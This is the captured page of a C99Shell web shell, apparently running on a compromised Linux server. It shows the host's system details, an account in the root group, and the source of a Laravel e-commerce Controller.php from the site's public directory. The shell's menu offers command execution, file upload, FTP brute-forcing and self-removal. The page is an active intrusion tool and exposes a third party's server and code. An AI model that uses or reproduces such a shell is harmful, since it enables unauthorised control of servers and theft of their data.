!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Controller.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use 
Illuminate\Foundation\Bus\DispatchesJobs;
use 
Illuminate\Foundation\Validation\ValidatesRequests;
use 
Illuminate\Routing\Controller as BaseController;
use 
Artesaos\SEOTools\Facades\SEOMeta;
use 
Artesaos\SEOTools\Facades\OpenGraph;
use 
Artesaos\SEOTools\Facades\TwitterCard;
use 
Artesaos\SEOTools\Facades\JsonLd;
// OR
use Artesaos\SEOTools\Facades\SEOTools;
use 
DB;

class 
Controller extends BaseController
{
    use 
AuthorizesRequestsDispatchesJobsValidatesRequests;
    public 
$defaultPaginate 10;
    public 
$defaultPaginateFrontend 16;

    
//cat parent child function
    
function buildTree$elements$parentId 0,$limit 100) {
         
$branch = array();
         
$i1;
         foreach (
$elements as $element) {
             if (
$element['parent_id'] == $parentId) {
                if(
$i $limit) {
                  
$children =$this->buildTree($elements$element['category_id']);

                  if (
$children) {
                      
$element['children'] = $children;
                  }
                  
$branch[] = $element;
                }
                
$i++;
             }
         }

         return 
$branch;
     }

     public function 
buildProductObj($data){
       
$productObj = [];
       if(isset(
$data)) {
         foreach (
$data as $key => $value) {
          
$productObj[] = ['id' => $value->id,
              
'image' => $value->image,
              
'category_id' => $value->category_id,
              
'model' => $value->model,
              
'price' => $value->price,
              
'quantity' => $value->quantity,
              
'sort_order' => $value->sort_order,
              
'status' => $value->status,
              
'date_available' => $value->date_available,
              
'created_at' => $value->created_at,
              
'viewed' => $value->viewed,
              
'review_avg' => $value->review_avg,
              
'productDescription' => $value->productDescription,
              
'category' => $value->category,
              
'special' => $value->special
          
];
         }
       }
       return 
$productObj;
     }

     function 
getChatGPTConfig() {
//         return [];
         
return DB::table('chatgpt_config')->first();
     }

     
//build Seo
     
function buildSeo($title,$keywordArr = [],$url,$desc) {
       
SEOMeta::setTitle($title);
       
SEOMeta::setDescription($desc);
       
SEOMeta::addKeyword($keywordArr);
       
OpenGraph::setDescription($desc);
       
OpenGraph::setTitle($title);
       
OpenGraph::setUrl($url);
       
TwitterCard::setTitle($title);
     }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--